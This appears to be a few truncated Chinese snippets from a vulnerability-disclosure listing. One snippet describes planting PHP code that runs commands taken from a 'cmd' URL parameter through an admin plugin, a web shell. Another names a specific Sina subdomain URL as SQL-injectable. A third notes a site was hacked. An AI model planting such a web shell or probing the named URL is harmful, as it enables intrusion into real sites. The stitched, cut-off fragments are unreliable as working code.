在后台，进插件管理.添加插件. Ajax_complete 填入代码:if(isset($_GET['cmd'] {echo "<h1>cmd</h1><pre>"...

简要描述：新浪某分站,对用户提交参数过滤不严格,导致注入漏洞详细说明： http://ikongzi.edu.sina.com/do/schools.php?f_id=8&a_id=2883http://ikongzi.edu.sina....

www.80sec.com被黑...